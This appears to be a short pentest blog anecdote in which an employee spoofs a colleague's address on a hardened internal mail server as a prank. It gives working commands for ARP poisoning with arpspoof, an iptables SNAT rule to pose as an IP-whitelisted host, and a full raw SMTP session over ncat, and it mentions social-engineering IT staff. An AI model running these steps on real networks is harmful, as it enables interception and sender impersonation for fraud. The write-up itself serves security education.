After having to pay rounds because of the Rubber Ducky attack, I wanted a revenge ! Daniel participated in the hardening of our email server and apparently he put extra effort to prevent SMTP mail spoofing. A hack bypassing this would be great!
First I wanted to check whether I was able to send a email by spoofing the sender’s address, using raw SMTP commands.
Attack example:
HELO servername MAIL FROM: --SENDER ADDRESS-- RCPT TO: --RECIPIENT ADDRESS-- DATA Subject: --THE SUBJECT-- --TYPE YOUR MESSAGE-- . QUIT
Sending a raw email with a telnet-like tool would allow me to spoof any OKIOK addresses from the internal network. However, things are not always so easy, especially when the server is well-configured. Indeed, our server forces users to authenticate prior to accepting any message from OKIOK addresses.
After some digging through internal documentation, I discovered that some very specific systems do not have the ability to authenticate through SMTP. The IP addresses of these systems is whitelisted in the configuration on the email server itself. After more research and some social engineering with our support IT staff, I got an IP address of a whitelisted system from a subnet I can connect to. Here we go!
I connected my computer to the same IP subnet (my IP: 10.10.10.66) as the whitelisted server (server IP: 10.10.10.3). From this subnet, I am able to communicate with the email server (10.250.0.10) located in another IP subnet. To intercept traffic from my local subnet, ARP poisoning is a hacker’s choice.
# Allow IP forwarding (you do not want to alert every admins ) echo 1 > /proc/sys/net/ipv4/ip_forward # Some NATing iptables -t nat -A POSTROUTING -s 10.10.10.0/24 -o eth2 -j MASQUERADE # ARP poisoning time (gateway IP: 10.10.10.1) arpspoof -i eth0 -t 10.10.10.3 10.10.10.1 arpspoof -i eth0 -t 10.10.10.1 10.10.10.3
Now, the network traffic between the whitelisted server (10.10.10.3) and the gateway (10.10.10.1) goes to my computer (10.10.10.66) before being forwarded:
Next, I have to find a way to spoof my IP but still have a complete TCP session. Let’s do some IPTables kung fu.
# For each TCP packets with source port set to 33077 and destination port set to 25, modify the source IP to 10.10.10.3 iptables -t nat -I POSTROUTING -o eth0 -p tcp --sport 33077 --dport 25 -j SNAT --to 10.10.10.3
Now, let use our favorite telnet-like tool to send the email using SMTP commands:
$> ncat -C 10.250.0.10 25 -p 33077 -v Ncat: Version 6.25 ( https://nmap.org/ncat ) Ncat: Connected to 10.250.0.10:25. 220 email.okiok.com Microsoft ESMTP MAIL Service ready at Tue, 29 Jan 2013 13:33:37 -0500 HELO mailserver 250 email.okiok.com Hello [10.10.10.3] MAIL FROM: daniel@okiok.com 250 2.1.0 Sender OK RCPT TO: pentest@okiok.com 250 2.1.5 Recipient OK DATA 354 Start mail input; end with . Subject: Friday beer ! Hey, I am going to pay the beer to everyone next Friday! : ) Daniel . 250 2.6.0 <68eaaaaa-90aa-4daa-91aa-8929aaaaaaaa@email.okiok.com> [InternalId=12345] Queued mail for delivery QUIT
Conclusion: The beer was delicious that next Friday!
